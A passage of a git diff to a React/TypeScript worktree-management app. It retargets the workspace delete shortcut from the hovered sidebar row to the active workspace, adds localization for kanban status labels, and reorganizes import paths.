+++ b/src/renderer/src/components/sidebar/workspace-actions/context-menu/WorktreeContextMenuDeleteItems.tsx
@@ -1,4 +1,7 @@
 import { useId } from 'react'
+import { useAppStore } from '@/store'
+import { selectActiveWorkspaceDeleteTarget } from '../deletion/active-workspace-delete'
+import { worktreeCopyOwnerKey } from '@/store/slices/worktrees/metadata/worktree-copy-review-clear'
 import { Trash2 } from 'lucide-react'
 import { DropdownMenuItem, DropdownMenuShortcut } from '@/components/ui/dropdown-menu'
 import { useOptionalShortcutLabel } from '@/hooks/useShortcutLabel'
@@ -20,6 +23,15 @@ export function WorktreeContextMenuDeleteItems({ model }: { model: WorktreeConte
     removesProject,
     worktree
   } = model
+  const isActiveDeleteTarget = useAppStore((state) => {
+    const target = selectActiveWorkspaceDeleteTarget(state)
+    return target?.kind === 'folder'
+      ? target.workspaceKey === worktree.id && target.executionHostId === worktree.hostId
+      : target?.kind === 'worktree' &&
+          target.worktree.id === worktree.id &&
+          worktreeCopyOwnerKey(target.worktree) === worktreeCopyOwnerKey(worktree) &&
+          target.worktree.instanceId === worktree.instanceId
+  })
   const projectMissing = !isMultiContext && worktree.isMainWorktree && !removesProject
   const label = contextDeletePending
     ? t('auto.components.sidebar.WorktreeContextMenu.b42391d8bf', 'Deleting…')
@@ -78,7 +90,7 @@ export function WorktreeContextMenuDeleteItems({ model }: { model: WorktreeConte
       >
         <Trash2 className="size-3.5" />
         {label}
-        {!isMultiContext && !removesProject && deleteShortcut ? (
+        {!isMultiContext && !removesProject && isActiveDeleteTarget && deleteShortcut ? (
           <DropdownMenuShortcut>{deleteShortcut}</DropdownMenuShortcut>
         ) : null}
       </DropdownMenuItem>
diff --git a/src/renderer/src/components/sidebar/workspace-actions/context-menu/WorktreeContextMenuView.tsx b/src/renderer/src/components/sidebar/workspace-actions/context-menu/WorktreeContextMenuView.tsx
index 59e25a26b89..f7cae17c19c 100644
--- a/src/renderer/src/components/sidebar/workspace-actions/context-menu/WorktreeContextMenuView.tsx
+++ b/src/renderer/src/components/sidebar/workspace-actions/context-menu/WorktreeContextMenuView.tsx
@@ -135,13 +135,12 @@ export default function WorktreeContextMenuView({ model }: { model: WorktreeCont
           onClickCapture={suppressOpeningPointerEvent}
           onCloseAutoFocus={handleCloseAutoFocus}
         >
-          <DropdownMenuLabel>
-            <span className="block max-w-60 truncate">
-              {isMultiContext || !worktree.displayName
-                ? t('auto.components.sidebar.WorktreeContextMenu.workspaceSection', 'Workspace')
-                : worktree.displayName}
-            </span>
-          </DropdownMenuLabel>
+          {/* Why: the highlighted card already names a single worktree. */}
+          {isMultiContext && (
+            <DropdownMenuLabel>
+              {t('auto.components.sidebar.WorktreeContextMenu.workspaceSection', 'Workspace')}
+            </DropdownMenuLabel>
+          )}
           {!isMultiContext && <WorktreeWslHostStartMenuItem worktreeId={worktree.id} />}
           {isMultiContext ? (
             sleepItems
diff --git a/src/renderer/src/components/sidebar/workspace-actions/context-menu/use-worktree-context-menu-commands.ts b/src/renderer/src/components/sidebar/workspace-actions/context-menu/use-worktree-context-menu-commands.ts
index 32f8ab9f3a3..82e0362fb2e 100644
--- a/src/renderer/src/components/sidebar/workspace-actions/context-menu/use-worktree-context-menu-commands.ts
+++ b/src/renderer/src/components/sidebar/workspace-actions/context-menu/use-worktree-context-menu-commands.ts
@@ -1,13 +1,10 @@
 import { useCallback } from 'react'
-import type { useAppStore } from '@/store'
-import type { Repo } from '../../../../../../shared/repo-types'
 import {
   getRepoExecutionHostId,
   LOCAL_EXECUTION_HOST_ID
 } from '../../../../../../shared/execution-host'
 import { getRepoWorkspaceCreationTargetHint } from '@/lib/workspace/creation/project-host-workspace-target'
-import { resolveReviewRepository } from '@/lib/review-owner'
-import type { WorkspaceStatusDefinition, Worktree } from '../../../../../../shared/worktree/types'
+import { resolveReviewRepository } from '@/lib/source-control/review/review-owner'
 import {
   createWorktreeContextMenuDeleteIntent,
   deferWorktreeContextMenuDeleteIntent
@@ -15,7 +12,7 @@ import {
 import { runSleepWorktrees } from '../sleep/sleep-worktree-flow'
 import { collectTwinHostsAlsoSlept } from '../sleep/sleep-twin-confirmation'
 import { activateAndRevealWorktree } from '@/lib/workspace/activation/worktree-activation'
-import { resolveWorktreeDisplayName } from '@/lib/worktree-default-display-name'
+import { resolveWorktreeDisplayName } from '@/lib/workspace/display/worktree-default-display-name'
 import { formatClipboardFilePath } from '@/lib/clipboard/clipboard-file-path'
 import { getWorktreeRowLocalPathOpenOwner } from '@/lib/workspace/ownership/worktree-row-open-in-owner'
 import { VIRTUALIZED_SCROLL_ANCHOR_RECORD_EVENT } from '@/hooks/useVirtualizedScrollAnchor'
@@ -24,6 +21,9 @@ import {
   planWorkspaceStatusAssignment,
   preserveDeleteSiblingPosition
 } from './worktree-context-menu-policy'
+import type { useAppStore } from '@/store/index'
+import type { Repo } from '../../../../../../shared/repo-types'
+import type { WorkspaceStatusDefinition, Worktree } from '../../../../../../shared/worktree/types'
 
 function resolveChildWorktreeRepository(repos: readonly Repo[], worktree: Worktree): Repo | null {
   return resolveReviewRepository(repos, {
diff --git a/src/renderer/src/components/sidebar/workspace-actions/deletion/DeleteWorktreeDialog.tsx b/src/renderer/src/components/sidebar/workspace-actions/deletion/DeleteWorktreeDialog.tsx
index c62a0572602..b3cb6097272 100644
--- a/src/renderer/src/components/sidebar/workspace-actions/deletion/DeleteWorktreeDialog.tsx
+++ b/src/renderer/src/components/sidebar/workspace-actions/deletion/DeleteWorktreeDialog.tsx
@@ -38,6 +38,7 @@ import { runLineageDeleteAll } from './delete-worktree-lineage-delete-all'
 import { runDialogForceDelete } from './delete-worktree-dialog-force-delete'
 import { getDeleteStateForWorktreeHost } from './worktree-delete-state-host-match'
 import { useSidebarHostScopeOptions } from '../../worktree-list/controls/use-sidebar-host-scope-options'
+import { translateHostDisplayLabel } from '../../execution-host-label'
 import { RemovalUnsavedFilesNotice } from './RemovalUnsavedFilesNotice'
 import { confirmUnsavedDiscard } from '@/store/slices/worktrees/teardown/removed-workspace-unsaved-files'
 import { useDeleteWorktreeDialogTargets } from './use-delete-worktree-dialog-targets'
@@ -62,8 +63,8 @@ const DeleteWorktreeDialog = React.memo(function DeleteWorktreeDialog() {
   const gitStatusByWorktree = useAppStore((s) => s.gitStatusByWorktree)
   const { hostOptions } = useSidebarHostScopeOptions()
   const hostLabelById = useMemo(
-    () => new Map(hostOptions.map((host) => [host.id, host.label])),
-    [hostOptions]
+    () => new Map(hostOptions.map((host) => [host.id, translateHostDisplayLabel(host, t)])),
+    [hostOptions, t]
   )
   const isOpen = activeModal === 'delete-worktree'
   const worktreeId = typeof modalData.worktreeId === 'string' ? modalData.worktreeId : ''
diff --git a/src/renderer/src/components/sidebar/workspace-actions/deletion/hovered-workspace-delete.ts b/src/renderer/src/components/sidebar/workspace-actions/deletion/active-workspace-delete.ts
similarity index 51%
rename from src/renderer/src/components/sidebar/workspace-actions/deletion/hovered-workspace-delete.ts
rename to src/renderer/src/components/sidebar/workspace-actions/deletion/active-workspace-delete.ts
index d8a7f58f26d..19a91803eef 100644
--- a/src/renderer/src/components/sidebar/workspace-actions/deletion/hovered-workspace-delete.ts
+++ b/src/renderer/src/components/sidebar/workspace-actions/deletion/active-workspace-delete.ts
@@ -1,13 +1,12 @@
 import { selectWorktreesByRepo } from '@/store/workspaces/catalog/workspace-record-fields'
 import { useAppStore } from '@/store'
-import { getIndexedAllWorktrees } from '@/store/slices/worktrees/listing/worktree-catalog-index'
+import { resolveQualifiedWorktreeExecutionOwner } from '@/lib/workspace/ownership/qualified-worktree-execution-owner'
+import { resolveQualifiedIndexedFolderWorkspace } from '@/store/folder-workspaces/folder-workspace-record-index'
+import { selectWorktreeCreationSurfaceShown } from '@/lib/workspace/creation/worktree-creation-surface'
+import { hasVisibleOverlay } from '@/lib/visible-overlay'
 import type { AppState } from '@/store/types'
 import { isEditableTarget, isNativeChatPromptTarget } from '@/lib/text-input/focus/editable-target'
-import {
-  composeWorktreeHostIdentity,
-  getExecutionHostIdFromWorktreeHostIdentity,
-  getWorktreeHostIdentity
-} from '../../../../../../shared/worktree/host-qualified-identity'
+import { composeWorktreeHostIdentity } from '../../../../../../shared/worktree/host-qualified-identity'
 import type { Worktree } from '../../../../../../shared/worktree/types'
 import { parseWorkspaceKey } from '../../../../../../shared/workspace-scope'
 import type { ExecutionHostId } from '../../../../../../shared/execution-host'
@@ -18,21 +17,27 @@ import { getDeleteStateForWorktreeHost } from './worktree-delete-state-host-matc
 const pendingFolderDeletes = new Set<string>()
 
 type DeleteWorktree = typeof runWorktreeDelete
-type HoveredWorkspaceDeleteState = Pick<
+type ActiveWorkspaceDeleteState = Pick<
   AppState,
   | 'activeModal'
   | 'activeWorktreeId'
-  | 'deleteFolderWorkspace'
+  | 'activeWorkspaceExecutionHostId'
+  | 'activeView'
+  | 'activePendingCreationId'
+  | 'pendingWorktreeCreations'
+  | 'folderWorkspaces'
+  | 'projectGroups'
+  | 'repos'
   | 'deleteStateByWorktreeId'
   | 'worktreesByRepo'
 >
-type HoveredWorkspaceDeleteDependencies = {
+type ActiveWorkspaceDeleteDependencies = {
   deleteWorktree: DeleteWorktree
   getCurrentState: () => AppState
 }
-type HoveredWorkspaceDocument = Pick<Document, 'activeElement' | 'querySelectorAll'>
+type ActiveWorkspaceDocument = Pick<Document, 'activeElement'>
 
-export type HoveredWorkspaceDeleteTarget =
+export type ActiveWorkspaceDeleteTarget =
   | {
       kind: 'folder'
       executionHostId: ExecutionHostId
@@ -41,52 +46,38 @@ export type HoveredWorkspaceDeleteTarget =
     }
   | { kind: 'worktree'; worktree: Worktree }
 
-export function getHoveredWorkspaceIdentity(
-  doc: HoveredWorkspaceDocument = document
-): { hostIdentity: string; workspaceId: string } | null {
-  const hoveredRows = doc.querySelectorAll<HTMLElement>(
-    '[data-worktree-sidebar] [role="option"][data-worktree-id]:hover'
-  )
-  const row = hoveredRows.item(hoveredRows.length - 1)
-  const workspaceId = row?.dataset.worktreeId
-  const hostIdentity = row?.dataset.worktreeHostIdentity
-  return workspaceId && hostIdentity ? { workspaceId, hostIdentity } : null
-}
-
-export function resolveHoveredWorkspaceDeleteTarget(
-  state: HoveredWorkspaceDeleteState,
-  doc: HoveredWorkspaceDocument = document
-): HoveredWorkspaceDeleteTarget | null {
+export function selectActiveWorkspaceDeleteTarget(
+  state: ActiveWorkspaceDeleteState
+): ActiveWorkspaceDeleteTarget | null {
   if (
-    state.activeModal !== 'none' ||
-    (doc.activeElement &&
-      isEditableTarget(doc.activeElement) &&
-      !isNativeChatPromptTarget(doc.activeElement))
+    state.activeView !== 'terminal' ||
+    !state.activeWorktreeId ||
+    selectWorktreeCreationSurfaceShown(state)
   ) {
     return null
   }
-  const hovered = getHoveredWorkspaceIdentity(doc)
-  if (!hovered) {
-    return null
-  }
-  const workspaceScope = parseWorkspaceKey(hovered.workspaceId)
+  const workspaceScope = parseWorkspaceKey(state.activeWorktreeId)
   if (workspaceScope?.type === 'folder') {
-    const executionHostId = getExecutionHostIdFromWorktreeHostIdentity(hovered.hostIdentity)
-    if (!executionHostId) {
-      return null
-    }
-    return {
-      kind: 'folder',
-      executionHostId,
-      folderWorkspaceId: workspaceScope.folderWorkspaceId,
-      workspaceKey: hovered.workspaceId
-    }
+    const owner = resolveQualifiedIndexedFolderWorkspace(
+      state,
+      workspaceScope.folderWorkspaceId,
+      state.activeWorkspaceExecutionHostId ?? undefined
+    )
+    return owner.kind === 'selected'
+      ? {
+          kind: 'folder',
+          executionHostId: owner.value.hostId,
+          folderWorkspaceId: workspaceScope.folderWorkspaceId,
+          workspaceKey: state.activeWorktreeId
+        }
+      : null
   }
-  const worktree = getIndexedAllWorktrees(selectWorktreesByRepo(state)).find(
-    (candidate) =>
-      candidate.id === hovered.workspaceId &&
-      getWorktreeHostIdentity(candidate) === hovered.hostIdentity
-  )
+  const worktree = resolveQualifiedWorktreeExecutionOwner(
+    selectWorktreesByRepo(state),
+    state.repos,
+    state.activeWorktreeId,
+    state.activeWorkspaceExecutionHostId
+  )?.worktree
   return worktree &&
     !worktree.isMainWorktree &&
     !getDeleteStateForWorktreeHost(worktree, state.deleteStateByWorktreeId)?.isDeleting
@@ -94,10 +85,26 @@ export function resolveHoveredWorkspaceDeleteTarget(
     : null
 }
 
-export function deleteHoveredWorkspaceImmediately(
-  state: HoveredWorkspaceDeleteState,
-  target: HoveredWorkspaceDeleteTarget | null = resolveHoveredWorkspaceDeleteTarget(state),
-  dependencies: HoveredWorkspaceDeleteDependencies = {
+export function resolveActiveWorkspaceDeleteTarget(
+  state: ActiveWorkspaceDeleteState,
+  doc: ActiveWorkspaceDocument = document
+): ActiveWorkspaceDeleteTarget | null {
+  if (
+    state.activeModal !== 'none' ||
+    hasVisibleOverlay({ ignoreMatches: '[role="listbox"], [role="menu"]' }) ||
+    (doc.activeElement &&
+      isEditableTarget(doc.activeElement) &&
+      !isNativeChatPromptTarget(doc.activeElement))
+  ) {
+    return null
+  }
+  return selectActiveWorkspaceDeleteTarget(state)
+}
+
+export function deleteActiveWorkspaceFromShortcut(
+  state: ActiveWorkspaceDeleteState,
+  target: ActiveWorkspaceDeleteTarget | null = resolveActiveWorkspaceDeleteTarget(state),
+  dependencies: ActiveWorkspaceDeleteDependencies = {
     deleteWorktree: runWorktreeDelete,
     getCurrentState: useAppStore.getState
   }
diff --git a/src/renderer/src/components/sidebar/workspace-actions/deletion/delete-worktree-flow.ts b/src/renderer/src/components/sidebar/workspace-actions/deletion/delete-worktree-flow.ts
index 611960f20c4..fffde41c774 100644
--- a/src/renderer/src/components/sidebar/workspace-actions/deletion/delete-worktree-flow.ts
+++ b/src/renderer/src/components/sidebar/workspace-actions/deletion/delete-worktree-flow.ts
@@ -1,5 +1,5 @@
 import { selectWorktreesByRepo } from '@/store/workspaces/catalog/workspace-record-fields'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { getIndexedAllWorktrees } from '@/store/slices/worktrees/listing/worktree-catalog-index'
 import { getWorktreeOnHostFromState } from '@/store/workspaces/selection/worktree-on-host-selector'
 import { toWorktreeRemovalTarget } from '../../../../../../shared/worktree/removal'
@@ -11,7 +11,7 @@ import {
 import { getWorkspaceDeleteLineage } from './workspace-delete-lineage'
 import { resolveSshWorkspaceForget } from './ssh-workspace-forget-resolution'
 import { resolveWorktreeOperationRouteForHost } from '@/lib/workspace/ownership/worktree-operation-route'
-import { isPairedWebClientWindow } from '@/lib/desktop-window-chrome'
+import { isPairedWebClientWindow } from '@/app-shell/chrome/desktop-window-chrome'
 import { parseWorkspaceKey } from '../../../../../../shared/workspace-scope'
 import { getWorktreeExecutionHostId } from '../../../../../../shared/execution-host'
 import {
diff --git a/src/renderer/src/components/sidebar/workspace-actions/parenting/WorktreeParentPickerRow.tsx b/src/renderer/src/components/sidebar/workspace-actions/parenting/WorktreeParentPickerRow.tsx
index 7f849bc9887..99f80394565 100644
--- a/src/renderer/src/components/sidebar/workspace-actions/parenting/WorktreeParentPickerRow.tsx
+++ b/src/renderer/src/components/sidebar/workspace-actions/parenting/WorktreeParentPickerRow.tsx
@@ -1,7 +1,8 @@
 import React from 'react'
 import { GitBranch, Server } from 'lucide-react'
 import { RepoBadgeMark } from '@/components/repo/RepoBadgeLabel'
-import { getWorktreeStatusLabel, type WorktreeStatus } from '@/lib/worktree-status'
+import { getWorktreeStatusLabel } from '@/lib/workspace/activity/worktree-status'
+import type { WorktreeStatus } from '../../../../../../shared/worktree-status-rollup'
 import { useTranslate } from '@/i18n/use-translate'
 import { useUiLanguageRevision } from '@/i18n/use-ui-language-revision'
 import '../../workspace-card/activity/worktree-card-empty-inputs'
diff --git a/src/renderer/src/components/sidebar/workspace-actions/sleep/use-worktree-sleep-state.ts b/src/renderer/src/components/sidebar/workspace-actions/sleep/use-worktree-sleep-state.ts
index f60b120aefa..f61f1c3b197 100644
--- a/src/renderer/src/components/sidebar/workspace-actions/sleep/use-worktree-sleep-state.ts
+++ b/src/renderer/src/components/sidebar/workspace-actions/sleep/use-worktree-sleep-state.ts
@@ -1,6 +1,9 @@
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { getAgentStatusEpochNow } from '@/lib/agent-status/evidence/agent-status-epoch-clock'
-import { getWorktreeIdsWithLiveAgent, isInactiveWorkspace } from '@/lib/worktree-activity-state'
+import {
+  getWorktreeIdsWithLiveAgent,
+  isInactiveWorkspace
+} from '@/lib/workspace/activity/worktree-activity-state'
 import { getWorktreeIdsWithStructuredChat } from '../../worktree-list/listing/visible-worktree-activity-inputs'
 import type { AgentStatusEntry } from '../../../../../../shared/agent-status/contracts/agent-status-types'
 import type { Tab } from '../../../../../../shared/tab-types'
diff --git a/src/renderer/src/components/sidebar/workspace-actions/sleep/workspace-sleep-follower.ts b/src/renderer/src/components/sidebar/workspace-actions/sleep/workspace-sleep-follower.ts
index c6d0e7f9167..63f9424b6da 100644
--- a/src/renderer/src/components/sidebar/workspace-actions/sleep/workspace-sleep-follower.ts
+++ b/src/renderer/src/components/sidebar/workspace-actions/sleep/workspace-sleep-follower.ts
@@ -1,18 +1,18 @@
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import {
   captureWorkspaceSelection,
-  restoreWorkspaceSelection,
-  type WorkspaceSelection
+  restoreWorkspaceSelection
 } from '@/lib/workspace/ownership/active-workspace-host'
+import type { WorkspaceSelection } from '@/lib/workspace/ownership/active-workspace-host'
 import {
   clearWorktreeSleepIntent,
   markWorktreeSleepIntent,
   withWorktreeSleepTeardown
-} from '@/lib/worktree-sleep-intent'
-import type { HostTerminalStop } from '@/store/terminals/terminal-actions'
-import type { WorkspaceSleepNotice } from '../../../../../../shared/workspace-sleep'
+} from '@/lib/workspace/sleep/worktree-sleep-intent'
 import { preserveSidebarWorktreePosition } from './sleep-worktree-sidebar-position'
 import { toastWorkspaceSleepOutcome } from './sleep-worktree-flow'
+import type { HostTerminalStop } from '@/store/terminals/terminal-actions'
+import type { WorkspaceSleepNotice } from '../../../../../../shared/workspace-sleep'
 
 type FollowedSleep = {
   settle: (stop: HostTerminalStop) => void
diff --git a/src/renderer/src/components/sidebar/workspace-board-status-label.ts b/src/renderer/src/components/sidebar/workspace-board-status-label.ts
new file mode 100644
index 00000000000..92a7b5c7a20
--- /dev/null
+++ b/src/renderer/src/components/sidebar/workspace-board-status-label.ts
@@ -0,0 +1,41 @@
+import { translate } from '@/i18n/i18n'
+
+/** Translate only shipped status labels; configured names remain literal. */
+export function translateWorkspaceBoardStatusLabel(status: { id: string; label: string }): string {
+  switch (status.id) {
+    case 'todo':
+      return !status.label.trim() || status.label === 'Todo'
+        ? translate('auto.components.sidebar.workspaceBoardStatus.todo', 'Todo')
+        : status.label
+    case 'in-progress':
+      return !status.label.trim() || status.label === 'In progress'
+        ? translate('auto.components.sidebar.workspaceBoardStatus.inProgress', 'In progress')
+        : status.label
+    case 'in-review':
+      return !status.label.trim() || status.label === 'In review'
+        ? translate('auto.components.sidebar.workspaceBoardStatus.inReview', 'In review')
+        : status.label
+    case 'completed':
+      return !status.label.trim() || status.label === 'Done'
+        ? translate('auto.components.sidebar.workspaceBoardStatus.done', 'Done')
+        : status.label
+    default:
+      return status.label
+  }
+}
+
+/** Status lane headers arrive in English from the shared emitter; shipped defaults localize here. */
+export function translateWorkspaceStatusHeaderLabel(
+  statusId: string | null,
+  label: string
+): string {
+  return statusId ? translateWorkspaceBoardStatusLabel({ id: statusId, label }) : label
+}
+
+export function newWorkspaceInStatusTooltip(statusLabel: string): string {
+  return translate(
+    'auto.components.sidebar.workspaceKanbanStatusLane.newWorkspaceInStatus',
+    'New workspace in {{status}}',
+    { status: statusLabel }
+  )
+}
diff --git a/src/renderer/src/components/sidebar/workspace-board/projection/use-workspace-board-task-status-sync.ts b/src/renderer/src/components/sidebar/workspace-board/projection/use-workspace-board-task-status-sync.ts
index 21a9c19d7c5..3bb2909afa7 100644
--- a/src/renderer/src/components/sidebar/workspace-board/projection/use-workspace-board-task-status-sync.ts
+++ b/src/renderer/src/components/sidebar/workspace-board/projection/use-workspace-board-task-status-sync.ts
@@ -1,6 +1,6 @@
 import { useCallback } from 'react'
 import { toast } from 'sonner'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import {
   selectWorkspaceByHostTarget,
   type WorkspaceRecordState
@@ -9,7 +9,7 @@ import { hostWorktreeTarget } from '../../../../../../shared/worktree/host-quali
 import { getRuntimeTargetForWorktreeOwner } from '@/lib/files/access/file-owner-runtime-target'
 import { runtimeTargetForWorkspaceOwner } from '@/lib/workspace/ownership/resolve-owner'
 import type { ExecutionHostId } from '../../../../../../shared/execution-host'
-import { warnAmbiguousOwnerOnce } from '@/lib/ambiguous-owner-warning'
+import { warnAmbiguousOwnerOnce } from '@/lib/workspace/ownership/ambiguous-owner-warning'
 import type { WorktreeOperationRouteState } from '@/lib/workspace/ownership/worktree-operation-route'
 import type { RowLessSource as RuntimeLinearSettings } from '@/runtime/hosts/selection/default-creation-host'
 import { translate } from '@/i18n/i18n'
diff --git a/src/renderer/src/components/sidebar/workspace-board/projection/workspace-kanban-worktree-groups.ts b/src/renderer/src/components/sidebar/workspace-board/projection/workspace-kanban-worktree-groups.ts
index d1731ab3820..cda045da4e8 100644
--- a/src/renderer/src/components/sidebar/workspace-board/projection/workspace-kanban-worktree-groups.ts
+++ b/src/renderer/src/components/sidebar/workspace-board/projection/workspace-kanban-worktree-groups.ts
@@ -6,7 +6,7 @@ import type {
 import type { SortBy } from '../../../../../../shared/sidebar-list/smart-sort'
 import '../../workspace-status/presentation/workspace-status'
 import { getWorkspaceStatus } from '../../../../../../shared/workspace-statuses'
-import { compareWorktreeDisplayName } from '@/lib/worktree-display-name-order'
+import { compareWorktreeDisplayName } from '@/lib/workspace/display/worktree-display-name-order'
 import { getWorktreeHostIdentity } from '../../../../../../shared/worktree/host-qualified-identity'
 
 function sortBoardWorktrees(a: Worktree, b: Worktree): number {
diff --git a/src/renderer/src/components/sidebar/workspace-board/surface/WorkspaceKanbanSettingsMenu.tsx b/src/renderer/src/components/sidebar/workspace-board/surface/WorkspaceKanbanSettingsMenu.tsx
index a3e084f1dcc..d04585b732a 100644
--- a/src/renderer/src/components/sidebar/workspace-board/surface/WorkspaceKanbanSettingsMenu.tsx
+++ b/src/renderer/src/components/sidebar/workspace-board/surface/WorkspaceKanbanSettingsMenu.tsx
@@ -1,5 +1,6 @@
 import { ImeInput } from '@/lib/text-input/ime/ime-text-field'
 import React from 'react'
+import { useTranslation } from 'react-i18next'
 import { ArrowDown, ArrowUp, Plus, Settings, Trash2 } from 'lucide-react'
 import { Button } from '@/components/ui/button'
 import {
@@ -15,6 +16,7 @@ import type { WorkspaceStatusDefinition } from '../../../../../../shared/worktre
 import { getWorkspaceStatusVisualMeta } from '../../workspace-status/presentation/workspace-status'
 import WorkspaceStatusAppearancePopover from '../../workspace-status/presentation/WorkspaceStatusAppearancePopover'
 import { useTranslate } from '@/i18n/use-translate'
+import { translateWorkspaceBoardStatusLabel } from '../../workspace-board-status-label'
 
 type WorkspaceKanbanSettingsMenuProps = {
   workspaceStatuses: readonly WorkspaceStatusDefinition[]
@@ -40,6 +42,8 @@ export default function WorkspaceKanbanSettingsMenu({
   onAddStatus
 }: WorkspaceKanbanSettingsMenuProps): React.JSX.Element {
   const t = useTranslate()
+  const { i18n } = useTranslation()
+  const language = i18n.resolvedLanguage ?? i18n.language
   return (
     <DropdownMenu modal={false}>
       <Tooltip>
@@ -112,6 +116,7 @@ export default function WorkspaceKanbanSettingsMenu({
         <div className="space-y-2 px-1 pb-1">
           {workspaceStatuses.map((status, index) => {
             const meta = getWorkspaceStatusVisualMeta(status, t)
+            const displayLabel = translateWorkspaceBoardStatusLabel(status)
             return (
               <div
                 key={status.id}
@@ -120,8 +125,14 @@ export default function WorkspaceKanbanSettingsMenu({
                 <div className="flex items-center gap-1">
                   <meta.icon className={cn('size-3.5 shrink-0', meta.tone)} />
                   <ImeInput
-                    defaultValue={status.label}
-                    onBlur={(event) => onRenameStatus(status.id, event.target.value)}
+                    key={`${status.id}:${language}`}
+                    defaultValue={displayLabel}
+                    onBlur={(event) =>
+                      onRenameStatus(
+                        status.id,
+                        event.target.value === displayLabel ? status.label : event.target.value
+                      )
+                    }
                     onKeyDown={(event) => {
                       event.stopPropagation()
                       if (event.key === 'Enter') {
@@ -132,7 +143,7 @@ export default function WorkspaceKanbanSettingsMenu({
                     aria-label={t(
                       'auto.components.sidebar.WorkspaceKanbanSettingsMenu.8ce44af9a8',
                       'Rename {{value0}}',
-                      { value0: status.label }
+                      { value0: displayLabel }
                     )}
                   />
                   <WorkspaceStatusAppearancePopover
@@ -150,7 +161,7 @@ export default function WorkspaceKanbanSettingsMenu({
                     aria-label={t(
                       'auto.components.sidebar.WorkspaceKanbanSettingsMenu.b45b350eb0',
                       'Move {{value0}} left',
-                      { value0: status.label }
+                      { value0: displayLabel }
                     )}
                   >
                     <ArrowUp className="size-3.5" />
@@ -165,7 +176,7 @@ export default function WorkspaceKanbanSettingsMenu({
                     aria-label={t(
                       'auto.components.sidebar.WorkspaceKanbanSettingsMenu.moveStatusRight',
                       'Move {{value0}} right',
-                      { value0: status.label }
+                      { value0: displayLabel }
                     )}
                   >
                     <ArrowDown className="size-3.5" />
@@ -180,7 +191,7 @@ export default function WorkspaceKanbanSettingsMenu({
                     aria-label={t(
                       'auto.components.sidebar.WorkspaceKanbanSettingsMenu.054cb50df7',
                       'Remove {{value0}}',
-                      { value0: status.label }
+                      { value0: displayLabel }
                     )}
                   >
                     <Trash2 className="size-3.5" />
diff --git a/src/renderer/src/components/sidebar/workspace-board/surface/use-visible-workspace-kanban-worktree-ids.ts b/src/renderer/src/components/sidebar/workspace-board/surface/use-visible-workspace-kanban-worktree-ids.ts
index 936433e3ba7..71bc52eefd2 100644
--- a/src/renderer/src/components/sidebar/workspace-board/surface/use-visible-workspace-kanban-worktree-ids.ts
+++ b/src/renderer/src/components/sidebar/workspace-board/surface/use-visible-workspace-kanban-worktree-ids.ts
@@ -1,11 +1,11 @@
 import { useMemo, useState } from 'react'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { getAgentStatusEpochNow } from '@/lib/agent-status/evidence/agent-status-epoch-clock'
 import type { Repo } from '../../../../../../shared/repo-types'
 import type { Worktree } from '../../../../../../shared/worktree/types'
 import '../../worktree-list/listing/visible-worktrees'
 import { computeVisibleWorktrees } from '../../worktree-list/listing/compute-visible-worktrees'
-import { createLiveAgentWorktreeIdsSelector } from '@/lib/worktree-activity-state'
+import { createLiveAgentWorktreeIdsSelector } from '@/lib/workspace/activity/worktree-activity-state'
 import { getSettingsFocusedExecutionHostId } from '../../../../../../shared/execution-host'
 import type { AppState } from '@/store/types'
 import {
diff --git a/src/renderer/src/components/sidebar/workspace-card/activity/use-worktree-activity-status.ts b/src/renderer/src/components/sidebar/workspace-card/activity/use-worktree-activity-status.ts
index a3902e3bac9..9c9f0afee49 100644
--- a/src/renderer/src/components/sidebar/workspace-card/activity/use-worktree-activity-status.ts
+++ b/src/renderer/src/components/sidebar/workspace-card/activity/use-worktree-activity-status.ts
@@ -1,9 +1,10 @@
 import { useMemo } from 'react'
 import { useShallow } from 'zustand/react/shallow'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import type { AppState } from '@/store/types'
 import { hasAwakeStructuredChat } from '@/store/slices/agent-status/structured-chat-slept-at'
-import { resolveWorktreeStatus, type WorktreeStatus } from '@/lib/worktree-status'
+import { resolveWorktreeStatus } from '@/lib/workspace/activity/worktree-status'
+import type { WorktreeStatus } from '../../../../../../shared/worktree-status-rollup'
 import { EMPTY_BROWSER_TABS, EMPTY_TABS } from './worktree-card-empty-inputs'
 import {
   selectLivePtyIdsForWorktree,
diff --git a/src/renderer/src/components/sidebar/workspace-card/activity/use-worktree-activity-statuses.ts b/src/renderer/src/components/sidebar/workspace-card/activity/use-worktree-activity-statuses.ts
index b6fc9e5a473..bc66612e0f9 100644
--- a/src/renderer/src/components/sidebar/workspace-card/activity/use-worktree-activity-statuses.ts
+++ b/src/renderer/src/components/sidebar/workspace-card/activity/use-worktree-activity-statuses.ts
@@ -1,9 +1,10 @@
 import { useCallback } from 'react'
 import { useShallow } from 'zustand/react/shallow'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import type { AppState } from '@/store/types'
 import { hasAwakeStructuredChat } from '@/store/slices/agent-status/structured-chat-slept-at'
-import { resolveWorktreeStatus, type WorktreeStatus } from '@/lib/worktree-status'
+import { resolveWorktreeStatus } from '@/lib/workspace/activity/worktree-status'
+import type { WorktreeStatus } from '../../../../../../shared/worktree-status-rollup'
 import { EMPTY_BROWSER_TABS, EMPTY_TABS } from './worktree-card-empty-inputs'
 import {
   selectTerminalLayoutRootsForWorktree,
diff --git a/src/renderer/src/components/sidebar/workspace-card/activity/worktree-agent-rows.ts b/src/renderer/src/components/sidebar/workspace-card/activity/worktree-agent-rows.ts
index 93de8572c23..bba87b3a15b 100644
--- a/src/renderer/src/components/sidebar/workspace-card/activity/worktree-agent-rows.ts
+++ b/src/renderer/src/components/sidebar/workspace-card/activity/worktree-agent-rows.ts
@@ -22,7 +22,7 @@ import type {
   TerminalTab
 } from '../../../../../../shared/workspace-layout/terminal-tab-types'
 import { resolveRuntimePaneTitleLeafId } from '../../../../../../shared/runtime-pane-title-leaf-id'
-import { resolveDecayedAgentRowState } from '../../../../../../shared/agent-status/presentation/agent-row-decay-state'
+import { resolveAgentRowState } from '../../../../../../shared/agent-status/presentation/agent-row-decay-state'
 import { tabHasLivePty } from '../../../../../../shared/tab-has-live-pty'
